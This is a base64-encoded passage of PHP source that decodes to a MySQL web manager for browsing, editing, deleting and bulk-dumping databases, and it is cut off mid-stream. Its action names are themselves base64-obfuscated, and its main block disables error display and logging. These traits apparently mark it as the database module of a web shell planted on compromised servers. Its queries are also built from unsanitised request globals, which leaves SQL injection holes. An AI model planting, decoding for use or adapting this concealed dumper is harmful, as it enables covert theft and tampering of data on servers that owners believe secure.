ZSktMSApIHsKCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQoJCQllY2hvICI8YSBocmVm
PSckUEhQX1NFTEY/YWN0aW9uPWRtbGxkMFJoZEdFPSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9
JHRhYmxlbmFtZSZwYWdlPSIuKCRwYWdlKzIpOwoJCWVsc2UKCQkJZWNobyAiPGEgaHJlZj0nJFBI
UF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZx
dWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIg
JiYgJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJZWNobyAiJm9yZGVyYnk9JG9yZGVyYnki
OwoJCWVjaG8gIic+TmV4dDwvYT5cbiI7Cgl9IGVsc2UKCQllY2hvICJOZXh0IjsKCWVjaG8gIiB8
ICI7CglpZiggJHJvdyA+ICRyb3dwZXJwYWdlICkgewoJCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQg
c2l6ZT00IG5hbWU9cGFnZT5cbiI7CgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdH
byc+XG4iOwoJfQoJZWNobyAiPC9mb3JtPlxuIjsKCWVjaG8gIjwvZm9udD5cbiI7Cn0KCmZ1bmN0
aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAk
dGFibGVuYW1lLCAkUEhQX1NFTEY7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxoMT5B
ZGQgRGF0YTwvaDE+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGgx
PkVkaXQgRGF0YTwvaDE+XG4iOwoJCSRwUmVzdWx0ID0gbXlzcWxfbGlzdF9maWVsZHMoICRkYm5h
bWUsICR0YWJsZW5hbWUgKTsKCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsK
CgkJJGtleSA9ICIiOwoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVs
ZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsKCQkJaWYoICRmaWVsZC0+cHJp
bWFyeV9rZXkgPT0gMSApCgkJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQoJCQkJCSRrZXkg
Lj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7
CgkJCQllbHNlCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZp
ZWxkLT5uYW1lXSAuICInIEFORCAiOwoJCX0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJs
ZW4oJGtleSktNCApOwoKCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSAp
OwoJCSRwUmVzdWx0ID0gbXlzcWxfcXVlcnkoICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAk
dGFibGVuYW1lIFdIRVJFICRrZXkiLCAkbXlzcWxIYW5kbGUgKTsKCQkkZGF0YSA9IG15c3FsX2Zl
dGNoX2FycmF5KCAkcFJlc3VsdCApOwoJfQoKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5h
bWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsKCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VM
RicgbWV0aG9kPXBvc3Q+XG4iOwoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0
eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGREYXRhX3N1Ym1pdD5cbiI7CgllbHNlIGlm
KCAkY21kID09ICJlZGl0IiApCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9u
IHZhbHVlPWVkaXREYXRhX3N1Ym1pdD5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFt
ZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFt
ZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7CgllY2hvICI8dGFibGUgY2VsbHNwYWNp
bmc9MSBjZWxscGFkZGluZz0yPlxuIjsKCWVjaG8gIjx0cj5cbiI7CgllY2hvICI8dGg+TmFtZTwv
dGg+XG4iOwoJZWNobyAiPHRoPlR5cGU8L3RoPlxuIjsKCWVjaG8gIjx0aD5GdW5jdGlvbjwvdGg+
XG4iOwoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsKCWVjaG8gIjwvdHI+XG4iOwoKCSRwUmVzdWx0
ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUi
ICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJJHBSZXN1bHRMZW4gPSBt
eXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoKCWZvciggJGkgPSAwOyAk
aSA8ICRudW07ICRpKysgKSB7CgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0
ICk7CgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsKCQkkZmllbGR0eXBlID0gJGZpZWxk
WyJUeXBlIl07CgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7CgoJ
CWVjaG8gIjx0cj4iOwoJCWVjaG8gIjx0ZD4kZmllbGRuYW1lPC90ZD4iOwoJCWVjaG8gIjx0ZD4i
LiRmaWVsZFsiVHlwZSJdLiI8L3RkPiI7CgkJZWNobyAiPHRkPlxuIjsKCQllY2hvICI8c2VsZWN0
IG5hbWU9JHtmaWVsZG5hbWV9X2Z1bmN0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPlxuIjsKCQll
Y2hvICI8b3B0aW9uPkFTQ0lJXG4iOwoJCWVjaG8gIjxvcHRpb24+Q0hBUlxuIjsKCQllY2hvICI8
b3B0aW9uPlNPVU5ERVhcbiI7CgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOwoJCWVjaG8gIjxv
cHRpb24+Q1VSVElNRVxuIjsKCQllY2hvICI8b3B0aW9uPkZST01fREFZU1xuIjsKCQllY2hvICI8
b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7CgkJZWNobyAiPG9wdGlvbj5OT1dcbiI7CgkJZWNobyAi
PG9wdGlvbj5QQVNTV09SRFxuIjsKCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7CgkJZWNo
byAiPG9wdGlvbj5QRVJJT0RfRElGRlxuIjsKCQllY2hvICI8b3B0aW9uPlRPX0RBWVNcbiI7CgkJ
ZWNobyAiPG9wdGlvbj5VU0VSXG4iOwoJCWVjaG8gIjxvcHRpb24+V0VFS0RBWVxuIjsKCQllY2hv
ICI8b3B0aW9uPlJBTkRcbiI7CgkJZWNobyAiPC9zZWxlY3Q+XG4iOwoJCWVjaG8gIjwvdGQ+XG4i
OwoJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFbJGldKTsKCQlpZiggJGNtZCA9PSAi
YWRkIiApIHsKCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlm
KCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4i
OwoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVs
ZG5hbWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxl
Y3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9
IHN0cnRvayggIiciICkgKSB7CgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRv
ayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxu
IjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQg
dHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGQ+XG4i
OwoJCQkJZWxzZQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVu
Z3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOwoJCQl9CgkJfSBlbHNlIGlm
KCAkY21kID09ICJlZGl0IiApIHsKCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwp
XG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQll
Y2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVj
dCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJ
CWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3
aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkgKSB7CgkJCQkJaWYoICR2YWx1ZSA9PSAkc3RyICkK
CQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOwoJCQkJCWVsc2UKCQkJCQkJZWNo
byAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8
L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVu
IDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3Ro
PSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7CgkJCQllbHNl
CgkJCQkJZWNobyAiPHRkPjx0ZXh0YXJlYSBjb2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBu
YW1lPSRmaWVsZG5hbWU+JHZhbHVlPC90ZXh0YXJlYT5cbiI7CgkJCX0KCQl9CgkJZWNobyAiPC90
cj4iOwoJfQoJZWNobyAiPC90YWJsZT48cD5cbiI7CglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNo
byAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOwoJZWxzZSBpZiggJGNt
ZCA9PSAiZWRpdCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBEYXRh
Jz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0n
aGlzdG9yeS5iYWNrKCknPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFn
ZURhdGFfc3VibWl0KCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRh
YmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHBS
ZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoJJG51bSA9
IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1l
LCAkbXlzcWxIYW5kbGUgKTsKCWlmKCAkY21kID09ICJhZGQiICkKCQkkcXVlcnlTdHIgPSAiSU5T
RVJUIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiAp
CgkJJHF1ZXJ5U3RyID0gIlJFUExBQ0UgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsKCWZvcigg
JGkgPSAwOyAkaSA8ICRudW0tMTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVs
ZCggJHBSZXN1bHQgKTsKCQkkZnVuYyA9ICRHTE9CQUxTWyRmaWVsZC0+bmFtZS4iX2Z1bmN0aW9u
Il07CgkJaWYoICRmdW5jICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsKCQlpZigg
JGZpZWxkLT5udW1lcmljID09IDEgKSB7CgkJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQt
Pm5hbWVdOwoJCQlpZiggJGZ1bmMgIT0gIiIgKQoJCQkJJHF1ZXJ5U3RyIC49ICIpLCI7CgkJCWVs
c2UKCQkJCSRxdWVyeVN0ciAuPSAiLCI7CgkJfSBlbHNlIHsKCQkJJHF1ZXJ5U3RyIC49ICInIiAu
ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07CgkJCWlmKCAkZnVuYyAhPSAiIiApCgkJCQkkcXVlcnlT
dHIgLj0gIicpLCI7CgkJCWVsc2UKCQkJCSRxdWVyeVN0ciAuPSAiJywiOwoJCX0KCX0KCSRmaWVs
ZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOwoJaWYoICRmaWVsZC0+bnVtZXJpYyA9
PSAxICkKCQkkcXVlcnlTdHIgLj0gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIpIjsKCWVsc2UK
CQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInKSI7CgoJbXlz
cWxfcXVlcnkoICRxdWVyeVN0ciAsICRteXNxbEhhbmRsZSApOwoJJGVyck1zZyA9IG15c3FsX2Vy
cm9yKCk7CgoJdmlld0RhdGEoICIiICk7Cn0KCmZ1bmN0aW9uIGRlbGV0ZURhdGEoKSB7CglnbG9i
YWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NF
TEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAk
ZGJuYW1lLCAkdGFibGVuYW1lICk7CgkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQg
KTsKCgkka2V5ID0gIiI7Cglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgewoJCSRmaWVs
ZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsKCQlpZiggJGZpZWxkLT5wcmlt
YXJ5X2tleSA9PSAxICkKCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkKCQkJCSRrZXkgLj0g
JGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJ
CWVsc2UKCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+
bmFtZV0gLiAiJyBBTkQgIjsKCX0KCSRrZXkgPSBzdWJzdHIoICRrZXksIDAsIHN0cmxlbigka2V5
KS00ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCSRxdWVy
eVN0ciA9ICAiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IjsKCW15c3FsX3F1ZXJ5
KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOwoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJ
dmlld0RhdGEoICIiICk7Cn0KCmZ1bmN0aW9uIGZldGNoX3RhYmxlX2R1bXBfc3FsKCR0YWJsZSkK
ewoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOwoKCW15c3FsX3NlbGVjdF9kYiggJGRibmFt
ZSwgJG15c3FsSGFuZGxlICk7CgkkcXVlcnlfaWQgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUg
VEFCTEUgJHRhYmxlIiwkbXlzcWxIYW5kbGUpOwoJJHRhYmxlZHVtcCA9IG15c3FsX2ZldGNoX2Fy
cmF5KCRxdWVyeV9pZCwgTVlTUUxfQVNTT0MpOwoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElG
IEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4i
OwoKCWVjaG8gJHRhYmxlZHVtcDsKCgkvLyBnZXQgZGF0YQoJJHJvd3MgPSBteXNxbF9xdWVyeSgi
U0VMRUNUICogRlJPTSAkdGFibGUiLCRteXNxbEhhbmRsZSk7CgkkbnVtZmllbGRzPW15c3FsX251
bV9maWVsZHMoJHJvd3MpOwoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywg
TVlTUUxfTlVNKSkKCXsKCQkkdGFibGVkdW1wID0gIklOU0VSVCBJTlRPICR0YWJsZSBWQUxVRVMo
IjsKCgkJJGZpZWxkY291bnRlciA9IC0xOwoJCSRmaXJzdGZpZWxkID0gMTsKCQkvLyBnZXQgZWFj
aCBmaWVsZCdzIGRhdGEKCQl3aGlsZSAoKyskZmllbGRjb3VudGVyIDwgJG51bWZpZWxkcykKCQl7
CgkJCWlmICghJGZpcnN0ZmllbGQpCgkJCXsKCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsKCQkJfQoJ
CQllbHNlCgkJCXsKCQkJCSRmaXJzdGZpZWxkID0gMDsKCQkJfQoKCQkJaWYgKCFpc3NldCgkcm93
WyIkZmllbGRjb3VudGVyIl0pKQoJCQl7CgkJCQkkdGFibGVkdW1wIC49ICdOVUxMJzsKCQkJfQoJ
CQllbHNlCgkJCXsKCQkJCSR0YWJsZWR1bXAgLj0gIiciIC4gbXlzcWxfZXNjYXBlX3N0cmluZygk
cm93WyIkZmllbGRjb3VudGVyIl0pIC4gIiciOwoJCQl9CgkJfQoKCQkkdGFibGVkdW1wIC49ICIp
O1xuIjsKCgkJZWNobyAkdGFibGVkdW1wOwoKCX0KCUBteXNxbF9mcmVlX3Jlc3VsdCgkcm93cyk7
Cn0KCmZ1bmN0aW9uIGR1bXAoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJu
YW1lLCAkdGFibGVuYW1lOwoKCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7CgoJCWhlYWRl
cigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsKCQloZWFk
ZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7CgkJZmV0Y2hfdGFibGVfZHVtcF9z
cWwoJHRhYmxlbmFtZSk7CgkJZWNobyAiXG5cblxuIjsKCQllY2hvICJcclxuXHJcblxyXG4jIyMg
JHRhYmxlbmFtZSBUQUJMRSBEVU1QIENPTVBMRVRFRCAjIyMiOwoJCWV4aXQ7CgoJfWVsc2V7CgkJ
aGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOwoJCWhl
YWRlcignQ29udGVudC10eXBlOiB1bmtub3duL3Vua25vd24nKTsKCgkJbXlzcWxfc2VsZWN0X2Ri
KCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCQkkcXVlcnlfaWQgPSBteXNxbF9xdWVyeSgiU0hP
VyB0YWJsZXMiLCRteXNxbEhhbmRsZSk7CgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJh
eSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpCgkJewoJCQkJZmV0Y2hfdGFibGVfZHVtcF9zcWwoJHJv
d1swXSk7CgkJCQllY2hvICJcblxuXG4iOwoJCQkJZWNobyAiXHJcblxyXG5cclxuIyMjICRyb3db
MF0gVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsKCQkJCWVjaG8gIlxuXG5cbiI7CgkJfQoJCWVj
aG8gIlxyXG5cclxuXHJcbiMjIyAkZGJuYW1lIERBVEFCQVNFIERVTVAgQ09NUExFVEVEICMjIyI7
CgkJZXhpdDsKCgl9Cgp9CgpmdW5jdGlvbiB1dGlscygpIHsKCWdsb2JhbCAkUEhQX1NFTEYsICRj
b21tYW5kOwoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOwoJaWYoICRjb21tYW5kID09ICIi
IHx8IHN1YnN0ciggJGNvbW1hbmQsIDAsIDUgKSA9PSAiZmx1c2giICkgewoJCWVjaG8gIjxocj5c
biI7CgkJZWNobyAiU2hvd1xuIjsKCQllY2hvICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVm
PSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9c2hvd19zdGF0dXMnPlN0YXR1czwvYT5c
biI7CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1z
aG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsKCQllY2hvICI8bGk+PGEgaHJlZj0nJFBI
UF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPXNob3dfcHJvY2Vzc2xpc3QnPlByb2Nlc3NsaXN0
PC9hPlxuIjsKCQllY2hvICI8L3VsPlxuIjsKCQllY2hvICJGbHVzaFxuIjsKCQllY2hvICI8dWw+
XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9
Zmx1c2hfaG9zdHMnPkhvc3RzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3Rz
IiApIHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggaG9zdHMiICkgIT0gZmFsc2UgKQoJCQkJ
ZWNobyAiLSBTdWNjZXNzIjsKCQkJZWxzZQoJCQkJZWNobyAiLSBGYWlsIjsKCQl9CgkJZWNobyAi
PGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5M
b2dzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2xvZ3MiICkgewoJCQlpZiggbXlz
cWxfcXVlcnkoICJGbHVzaCBsb2dzIiApICE9IGZhbHNlICkKCQkJCWVjaG8gIi0gU3VjY2VzcyI7
CgkJCWVsc2UKCQkJCWVjaG8gIi0gRmFpbCI7CgkJfQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQ
X1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfcHJpdmlsZWdlcyc+UHJpdmlsZWdlczwv
YT5cbiI7CgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9wcml2aWxlZ2VzIiApIHsKCQkJaWYoIG15
c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICItIFN1
Y2Nlc3MiOwoJCQllbHNlCgkJCQllY2hvICItIEZhaWwiOwoJCX0KCQllY2hvICI8bGk+PGEgaHJl
Zj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3RhYmxlcyc+VGFibGVzPC9h
PlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7CgkJCWlmKCBteXNxbF9x
dWVyeSggIkZsdXNoIHRhYmxlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICItIFN1Y2Nlc3MiOwoJ
CQllbHNlCgkJCQllY2hvICItIEZhaWwiOwoJCX0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9T
RUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsKCQlp
ZiggJGNvbW1hbmQgPT0gImZsdXNoX3N0YXR1cyIgKSB7CgkJCWlmKCBteXNxbF9xdWVyeSggIkZs
dXNoIHN0YXR1cyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICItIFN1Y2Nlc3MiOwoJCQllbHNlCgkJ
CQllY2hvICItIEZhaWwiOwoJCX0KCQllY2hvICI8L3VsPlxuIjsKCX0gZWxzZSB7CgkJJHF1ZXJ5
U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsKCQkkcFJlc3VsdCA9IG15
c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgKTsKCQlpZiggJHBSZXN1bHQgPT0gZmFsc2UgKSB7CgkJCWVj
aG8gIkZhaWwiOwoJCQlyZXR1cm47CgkJfQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJl
c3VsdCApOwoKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOwoJCWVj
aG8gIjxocj5cbiI7CgoJCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIg
Ym9yZGVyPTA+XG4iOwoJCWVjaG8gIjx0cj5cbiI7CgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsg
JGkrKyApIHsKCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOwoJ
CQllY2hvICI8dGg+Ii4kZmllbGQtPm5hbWUuIjwvdGg+XG4iOwoJCX0KCQllY2hvICI8L3RyPlxu
IjsKCgkJd2hpbGUoIDEgKSB7CgkJCSRyb3dBcnJheSA9IG15c3FsX2ZldGNoX3JvdyggJHBSZXN1
bHQgKTsKCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOwoJCQllY2hvICI8dHI+XG4i
OwoJCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkKCQkJCWVjaG8gIjx0ZD4iLmh0bWxz
cGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7CgkJCWVjaG8gIjwvdHI+XG4i
OwoJCX0KCQllY2hvICI8L3RhYmxlPlxuIjsKCX0KfQoKCgpmdW5jdGlvbiBmb290ZXJfaHRtbCgp
IHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwg
JFVTRVJOQU1FOwoKCWVjaG8gIjxocj5cbiI7CgllY2hvICJbJFVTRVJOQU1FXSAtIFxuIjsKCgll
Y2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWJHbHpkRVJDY3c9PSc+RGF0YWJhc2UgTGlz
dDwvYT4gfCBcbiI7CglpZiggJHRhYmxlbmFtZSAhPSAiIiApCgkJZWNobyAiPGEgaHJlZj0nJFBI
UF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVu
YW1lJz5UYWJsZSBMaXN0PC9hPiB8ICI7CgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9u
PXV0aWxzJz5VdGlsczwvYT4gfFxuIjsKCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249
bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOwoKCn0KCgoKCi8vLS0tLS0tLS0tLS0tLSBNQUlOIC0tLS0t
LS0tLS0tLS0gLy8KZXJyb3JfcmVwb3J0aW5nKDApOwppbmlfc2V0ICgnZGlzcGxheV9lcnJvcnMn
LCAwKTsKaW5pX3NldCAoJ2xvZ19lcnJvcnMnLCAwKTsKCmlmKCAkYWN0aW9uID09ICJsb2dvbiIg
fHwgJGFjdGlvbiA9PSAiIiB8fCAkYWN0aW9uID09ICJsb2dvdXQiICkKCWxvZ29uKCk7CmVsc2Ug
aWYoICRhY3Rpb24gPT0gImJHOW5iMjVmYzNWaWJXbDAiICkKCWxvZ29uX3N1Ym1pdCgpOwplbHNl
IGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7Cgl3
aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7CgkJ
